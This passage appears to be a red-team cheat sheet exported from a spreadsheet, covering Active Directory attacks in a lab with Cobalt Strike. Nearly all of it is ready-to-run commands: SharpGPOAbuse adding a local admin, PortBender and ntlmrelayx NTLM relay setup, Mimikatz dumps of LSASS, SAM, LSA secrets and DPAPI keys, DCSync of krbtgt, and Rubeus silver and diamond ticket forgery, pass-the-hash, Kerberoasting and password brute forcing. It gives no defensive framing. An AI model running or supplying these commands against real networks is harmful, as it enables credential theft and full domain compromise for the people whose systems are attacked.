Get-DomainGPO -Identity "devops policy" -Properties displayname,name,gpcfilesyspath
```

add local admin

Source row 450 - columns A/B

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.5_x86/SharpGPOAbuse.exe  
--AddLocalAdmin --UserAccount "DCORP\student352" --GPOName "devops policy"
```

Cobalt NTLM Relay

Port redirection and relay notes for the specific lab workflow.

Command

Source row 453 - columns A/B

```
Upload PortBender Driver  
cd C:\Windows\system32\drivers  
upload /home/kali/Tools/PortBender/static/WinDivert64.sys
```

Blog

Source row 454 - columns A/B

```
https://offsec.tools/tool/portbender
```

Command

Source row 455 - columns A/B

```
PortBender Backdoor (445 -> 8445)  
PortBender redirect 445 8445
```

Command

Source row 456 - columns A/B

```
rportfwd SMB  
rportfwd 8445 localhost 445
```

Start Relay

Source row 457 - columns A/B

```
sudo impacket-ntlmrelayx --no-smb-server --no-http-server --no-wcf-server
```

CS Creds

Credential, DPAPI, ticket, roasting, S4U, and Rubeus/Mimikatz reference commands.

ticket BOFs

kerberos_ccache_use

Source row 473 - columns A/B

Notes: Apply kerberos ticket from cache to this session

kerberos_ticket_purge

Source row 474 - columns A/B

Notes: Purge kerberos tickets from this session

kerberos_ticket_use

Source row 475 - columns A/B

Notes: Apply kerberos ticket to this session

Mimikatz

Source row 477 - columns A/B

Mimikatz

Rubeus

Source row 477 - columns C/D

Rubeus

Rubeus

Source row 477 - columns E/F

Rubeus

Check current Mimikatz context

Source row 478 - columns A/B

mimikatz token::whoami

Enable debug output

Source row 478 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe describe
/ticket:<BASE64_TICKET> /debug
```

Command

Source row 478 - columns E/F

```
Forge silver ticket with KRBTGT checksum
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /krbkey:<KRBTGT_KEY>
/krbentype:AES256 /ptt
```

Enable debug privilege

Source row 479 - columns A/B

mimikatz privilege::debug

Show Rubeus help menu

Source row 479 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
```

Forge silver ticket with no full PAC signature

Source row 479 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver
/aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /nofullpacsig /ptt
```

Elevate token to SYSTEM

Source row 480 - columns A/B

```
mimikatz !token::elevate
```

Show current LUID

Source row 480 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
currentluid
```

Forge silver ticket with extended UPN DNS

Source row 480 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver  
/aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /extendedupndns /ptt
```

Revert token in Mimikatz

Source row 481 - columns A/B

```
mimikatz token::revert
```

Show current logon session

Source row 481 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
logonsession /current
```

Forge silver ticket with S4U delegation info

Source row 481 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver  
/aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap  
/s4uproxytarget:<TARGET_SPN> /s4utransitedservices:<SPN1>,<SPN2> /ptt
```

List tokens

Source row 482 - columns A/B

```
mimikatz token::list
```

Show readable logon sessions

Source row 482 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
logonsession
```

Forge silver ticket with different cname/crealm

Source row 482 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe silver  
/aes256:<SERVICE_ACCOUNT_AES256_KEY> /user:<USER> /service:<SPN> /ldap /cname:<CLIENT_NAME>  
/crealm:<CLIENT_DOMAIN> /ptt
```

List tokens with user/group details

Source row 483 - columns A/B

```
mimikatz token::list /full
```

Show logon session by LUID

Source row 483 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe  
logonsession /luid:<LUID>
```

Forge diamond TGT with password

Source row 483 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond  
/user:<USER> /password:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /krbkey:<KRBTGT_KEY>  
/ptt /nowrap
```

Impersonate token by ID

Source row 484 - columns A/B

```
mimikatz token::elevate /id:<TOKEN_ID>
```

Calculate RC4/AES keys from password

Source row 484 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe hash  
/password:<PASSWORD> /user:<USER> /domain:<DOMAIN_FQDN>
```

Forge diamond TGT with RC4 hash

Source row 484 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /krbkey:<KRBTGT_KEY> /ptt
/nowrap
```

Dump all logon passwords from LSASS

Source row 485 - columns A/B

```
mimikatz !sekurlsa::logonpasswords
```

Request TGT with password

Source row 485 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:<USER> /password:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Forge diamond TGT with AES256 key

Source row 485 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /krbkey:<KRBTGT_KEY>
/ptt /nowrap
```

Dump MSV/NTLM hashes from LSASS

Source row 486 - columns A/B

```
mimikatz !sekurlsa::msv
```

Request TGT with NTLM/RC4 hash

Source row 486 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Forge diamond TGT with certificate

Source row 486 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/user:<USER> /certificate:C:\Windows\Temp\cert.pfx /password:<PFX_PASSWORD>
/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /krbkey:<KRBTGT_KEY> /ptt /nowrap
```

Dump Kerberos tickets/keys from LSASS

Source row 487 - columns A/B

```
mimikatz !sekurlsa::kerberos
```

Request TGT with AES128 key

Source row 487 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:<USER> /aes128:<AES128_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Forge diamond TGT using tgtdeleg

Source row 487 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/tgtdeleg /krbkey:<KRBTGT_KEY> /ptt /nowrap
```

Dump WDigest credentials

Source row 488 - columns A/B

```
mimikatz !sekurlsa::wdigest
```

Request TGT with AES256 key

Source row 488 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Forge diamond TGT and create netonly process

Source row 488 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /krbkey:<KRBTGT_KEY>
/createnetonly:C:\Windows\System32\cmd.exe /ptt /nowrap
```


Dump TSPKG credentials

Source row 489 - columns A/B

```
mimikatz !sekurlsa::tspkg
```

Request TGT and inject into current session

Source row 489 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

Forge diamond TGT with changed ticket user

Source row 489 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe diamond  
/user:<REAL_USER> /aes256:<REAL_USER_AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/krbkey:<KRBTGT_KEY> /ticketuser:<FORGED_USER> /ticketuserid:<RID>  
/groups:512,513,518,519,520 /ptt /nowrap
```

Dump SSP credentials

Source row 490 - columns A/B

```
mimikatz !sekurlsa::ssp
```

Request AES256 TGT and inject

Source row 490 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

Pass-the-ticket from Base64

Source row 490 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt  
/ticket:<BASE64_TICKET>
```

Dump LiveSSP credentials

Source row 491 - columns A/B

```
mimikatz !sekurlsa::livessp
```

Request TGT and save to file

Source row 491 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/outfile:C:\Windows\Temp\<USER>.kirbi /nowrap
```

Pass-the-ticket from kirbi file

Source row 491 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt  
/ticket:C:\Windows\Temp\ticket.kirbi
```

Dump CredMan credentials from LSASS

Source row 492 - columns A/B

```
mimikatz !sekurlsa::credman
```

Request TGT with OPSEC mode

Source row 492 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /opsec /nowrap
```

Pass-the-ticket into specific LUID

Source row 492 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe ptt  
/ticket:<BASE64_TICKET> /luid:<LUID>
```

Dump DPAPI masterkeys from LSASS

Source row 493 - columns A/B

```
mimikatz !sekurlsa::dpapi
```

Request TGT without PAC

Source row 493 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nopac /nowrap
```

Purge current session tickets

Source row 493 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe purge
```

Dump all common LSASS credential providers

Source row 494 - columns A/B

```
mimikatz !sekurlsa::logonpasswords full
```

Request TGT with old SAM behavior

Source row 494 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /oldsam /nowrap
```

Purge tickets from specific LUID

Source row 494 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe purge  
/luid:<LUID>
```

List Windows Vaults

Source row 495 - columns A/B

```
mimikatz !vault::list
```

Request TGT through KDC proxy

Source row 495 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN>  
/proxyurl:https://<KDC_PROXY>/kdcproxy /nowrap
```

Describe Base64 ticket

Source row 495 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe describe  
/ticket:<BASE64_TICKET>
```

Dump Windows Vault credentials

Source row 496 - columns A/B

```
mimikatz !vault::cred
```

Request TGT with supported enctype AES256

Source row 496 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /suppencntype:AES256  
/nowrap
```

Describe kirbi ticket

Source row 496 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe describe  
/ticket:C:\Windows\Temp\ticket.kirbi
```

Dump Windows Vault credentials with patch

Source row 497 - columns A/B

```
mimikatz !vault::cred /patch
```

Request TGT with enterprise principal type

Source row 497 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER>@<DOMAIN_FQDN> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/principaltype:enterprise /nowrap
```

Command

Source row 497 - columns F/E

```
Describe ticket with KRBTGT key  
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe describe  
/ticket:<BASE64_TICKET> /krbkey:<KRBTGT_KEY>
```

Dump local SAM hashes

Source row 498 - columns A/B

```
mimikatz !lsadump::sam
```

Request TGT without pre-auth data

Source row 498 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Describe ticket with service key

Source row 498 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe describe  
/ticket:<BASE64_TICKET> /servicekey:<SERVICE_KEY> /serviceuser:<SERVICE_USER>  
/servicedomain:<DOMAIN_FQDN>
```

Dump LSA secrets

Source row 499 - columns A/B

```
mimikatz !lsadump::secrets
```

Request service ticket using AS-REQ

Source row 499 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /service:<SPN> /aes256:<AES256_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Triage current tickets

Source row 499 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage
```

Dump cached domain logons

Source row 500 - columns A/B

```
mimikatz !lsadump::cache
```

Request TGT and create netonly process

Source row 500 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /rc4:<NTLM_HASH> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/createnetonly:C:\Windows\System32\cmd.exe /show /nowrap
```

Triage tickets for user

Source row 500 - columns E/F

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage  
/user:<USER>
```

Dump LSA using patch method

Source row 501 - columns A/B

```
mimikatz !lsadump::lsa /patch
```

Request TGT using PFX certificate

Source row 501 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /certificate:C:\Windows\Temp\cert.pfx /password:<PFX_PASSWORD>  
/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Command

Source row 501 - columns E/F

```
Triage krbtgt tickets  
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage  
/service:krbtgt
```

Dump LSA using inject method

Source row 502 - columns A/B

```
mimikatz !lsadump::lsa /inject
```

Request TGT using PFX and extract NT hash

Source row 502 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /certificate:C:\Windows\Temp\cert.pfx /password:<PFX_PASSWORD> /getcredentials  
/servicekey:<KRBtgt_KEY> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Triage tickets for server

Source row 502 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage  
/server:<HOST_FQDN>
```

DCSync specific user using current token

Source row 503 - columns A/R

```
mimikatz @lsadump::dcsync /domain:<DOMAIN_FQDN> /user:<DOMAIN>\<USER>
```

Request TGT using certificate thumbprint

Source row 503 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgt  
/user:<USER> /certificate:<CERT_THUMBPRINT> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Triage tickets for LUID

Source row 503 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe triage  
/luid:<LUID>
```

Command

Source row 504 - columns A/R

```
DCSync krbtgt using current token  
mimikatz @lsadump::dcsync /domain:<DOMAIN_FQDN> /user:<DOMAIN>\krbtgt
```

Request service ticket from TGT

Source row 504 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:<SPN> /dc:<DC_FQDN> /nowrap
```

List current tickets

Source row 504 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist
```

DCSync all domain secrets

Source row 505 - columns A/R

```
mimikatz @lsadump::dcsync /domain:<DOMAIN_FQDN> /all
```

Request service ticket and inject

Source row 505 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:<SPN> /dc:<DC_FQDN> /ptt /nowrap
```

List tickets for user

Source row 505 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist  
/user:<USER>
```

List Kerberos tickets

Source row 506 - columns A/R

```
mimikatz kerberos::list
```

Request CIFS ticket and inject

Source row 506 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:cifs/<HOST_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

List tickets for service

Source row 506 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist  
/service:<SERVICE>
```

List Kerberos tickets with export

Source row 507 - columns A/B

```
mimikatz kerberos::list /export
```

Request LDAP ticket and inject

Source row 507 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:ldap/<DC_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

List tickets for server

Source row 507 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist  
/server:<HOST_FQDN>
```

Purge current Kerberos tickets

Source row 508 - columns A/B

```
mimikatz kerberos::purge
```

Request HOST ticket and inject

Source row 508 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:host/<HOST_FQDN> /dc:<DC_FQDN> /ptt /nowrap
```

List tickets for LUID

Source row 508 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe klist  
/luid:<LUID>
```

Pass-the-ticket

Source row 509 - columns A/B

```
mimikatz kerberos::ptt <TICKET.kirbi>
```

Request multiple service tickets

Source row 509 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:cifs/<HOST_FQDN>,host/<HOST_FQDN>,ldap/<DC_FQDN> /dc:<DC_FQDN>  
/ptt /nowrap
```

Dump all tickets

Source row 509 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/nowrap
```

Show Kerberos TGT/TGS cache

Source row 510 - columns A/B

```
mimikatz sekurlsa::tickets
```

Request TGS with enterprise principal

Source row 510 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:<USER>@<DOMAIN_FQDN> /enterprise /dc:<DC_FQDN> /nowrap
```

Dump tickets for user

Source row 510 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/user:<USER> /nowrap
```

Command

Source row 511 - columns A/B

```
Export Kerberos tickets from LSASS  
mimikatz !sekurlsa::tickets /export
```

Request TGS with U2U

Source row 511 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:<SPN> /u2u /targetuser:<TARGET_USER> /dc:<DC_FQDN> /nowrap
```

Command

Source row 511 - columns F/E

```
Dump krbtgt tickets  
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/service:krbtgt /nowrap
```

Extract Kerberos encryption keys

Source row 512 - columns A/B

```
mimikatz !sekurlsa::ekeys
```

Request TGS through KDC proxy

Source row 512 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/ticket:<BASE64_TGT> /service:<SPN> /proxyurl:https://<KDC_PROXY>/kdcproxy /nowrap
```

Dump tickets for server

Source row 512 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/server:<HOST_FQDN> /nowrap
```

Dump Kerberos keys for current sessions

Source row 513 - columns A/B

```
mimikatz !sekurlsa::kerberos
```

Key List Request

Source row 513 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/keylist /service:krbtgt/<DOMAIN_FQDN> /ticket:<BASE64_TGT> /dc:<DC_FQDN> /nowrap
```

Dump tickets for LUID

Source row 513 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe dump  
/luid:<LUID> /nowrap
```

Pass-the-hash with NTLM

Source row 514 - columns A/B

```
mimikatz !sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:cmd.exe
```

Request delegated managed service account ticket

Source row 514 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe asktgs  
/dmsa /opsec /service:krbtgt/<DOMAIN_FQDN> /targetuser:<DMSA_ACCOUNT>$ /ticket:<BASE64_TGT>  
/dc:<WINDOWS_2025_DC_FQDN> /nowrap
```

Retrieve delegated TGT

Source row 514 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe tgtdeleg  
/nowrap
```

Pass-the-hash with AES256

Source row 515 - columns A/B

```
mimikatz !sekurlsa::pth /user:<USER> /domain:<DOMAIN> /aes256:<AES256_KEY> /run:cmd.exe
```

Renew TGT

Source row 515 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe renew  
/ticket:<BASE64_TGT> /dc:<DC_FQDN> /nowrap
```

Retrieve delegated TGT for target SPN

Source row 515 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe tgtdeleg  
/target:<SPN> /nowrap
```

Pass-the-hash with AES128

Source row 516 - columns A/B

```
mimikatz !sekurlsa::pth /user:<USER> /domain:<DOMAIN> /aes128:<AES128_KEY> /run:cmd.exe
```

Renew TGT and inject

Source row 516 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe renew  
/ticket:<BASE64_TGT> /dc:<DC_FQDN> /ptt /nowrap
```

Monitor for new TGTs

Source row 516 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe monitor  
/interval:60 /nowrap
```

Pass-the-hash and spawn PowerShell

Source row 517 - columns A/B

```
mimikatz !sekurlsa::pth /user:<USER> /domain:<DOMAIN> /ntlm:<NTLM_HASH> /run:powershell.exe
```

Auto-renew TGT

Source row 517 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe renew  
/ticket:<BASE64_TGT> /dc:<DC_FQDN> /autorenew /nowrap
```

Monitor TGTs for target user

Source row 517 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe monitor  
/interval:60 /targetuser:<USER> /nowrap
```

Dump DPAPI system secrets

Source row 518 - columns A/B

```
mimikatz !lsadump::secrets
```

Kerberos password test single user

Source row 518 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe brute  
/user:<USER> /password:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /noticket /nowrap
```

Monitor TGTs for limited time

Source row 518 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe monitor  
/interval:60 /runfor:300 /nowrap
```

List DPAPI masterkeys from memory

Source row 519 - columns A/B

```
mimikatz !sekurlsa::dpapi
```

Kerberos password test users file

Source row 519 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe brute  
/users:C:\Windows\Temp\users.txt /password:<PASSWORD> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>  
/noticket /nowrap
```

Harvest tickets

Source row 519 - columns E/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe harvest  
/monitorinterval:60 /displayinterval:1200 /nowrap
```

Dump Chrome/Edge DPAPI-related masterkeys from memory

Source row 520 - columns A/B

```
mimikatz !sekurlsa::dpapi
```

Kerberos password test passwords file

Source row 520 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe brute
/user:<USER> /passwords:C:\Windows\Temp\passwords.txt /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>
/noticket /nowrap
```

Harvest tickets for target user

Source row 520 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe harvest
/monitorinterval:60 /displayinterval:1200 /targetuser:<USER> /nowrap
```

Decrypt DPAPI blob with masterkey

Source row 521 - columns A/R

```
mimikatz dpapi::blob /in:<BLOB_FILE> /masterkey:<MASTERKEY>
```

Kerberos brute force with result file

Source row 521 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe brute
/users:C:\Windows\Temp\users.txt /passwords:C:\Windows\Temp\passwords.txt
/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /outfile:C:\Windows\Temp\valid.txt /noticket /nowrap
```

Basic Kerberoast

Source row 521 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast
/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Decrypt DPAPI credential file

Source row 522 - columns A/R

```
mimikatz dpapi::cred /in:<CREDENTIAL_FILE> /masterkey:<MASTERKEY>
```

Scan users for no pre-auth requirement

Source row 522 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
preauthscan /users:C:\Windows\Temp\users.txt /domain:<DOMAIN_FQDN> /dc:<DC_FQDN>
```

Kerberoast over LDAPS

Source row 522 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast
/domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /ldaps /nowrap
```

Decrypt DPAPI vault file

Source row 523 - columns A/R

```
mimikatz dpapi::vault /cred:<CRED_FILE> /policy:<POLICY_FILE> /masterkey:<MASTERKEY>
```

Pre-auth scan through KDC proxy

Source row 523 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe
preauthscan /users:C:\Windows\Temp\users.txt /domain:<DOMAIN_FQDN>
/proxyurl:https://<KDC_PROXY>/kdcproxy
```

Kerberoast specific user

Source row 523 - columns F/E

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast
/user:<USER> /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

Show DPAPI protected credentials path reminder

Source row 524 - columns A/R

```
mimikatz dpapi::cred /in:C:\Users\<USER>\AppData\Local\Microsoft\Credentials\<FILE>
```

Basic S4U with existing TGT

Source row 524 - columns C/D

```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe s4u
/ticket:<BASE64_TGT> /impersonateuser:<TARGET_USER> /msdsspn:<SERVICE>/<HOST_FQDN>
/dc:<DC_FQDN> /nowrap
```

Kerberoast specific SPN

Source row 524 - columns E/F


```
execute-assembly /home/kali/Tools/SharpCollection/NetFramework_4.7_Any/Rubeus.exe kerberoast /spn:"<SPN>" /domain:<DOMAIN_FQDN> /dc:<DC_FQDN> /nowrap
```

List certificates in current user store

Source row 525 - columns A/R

```
mimikatz crypto::certificates
```

S4U with existing TGT and inject

Source row 525 - columns C/D

```
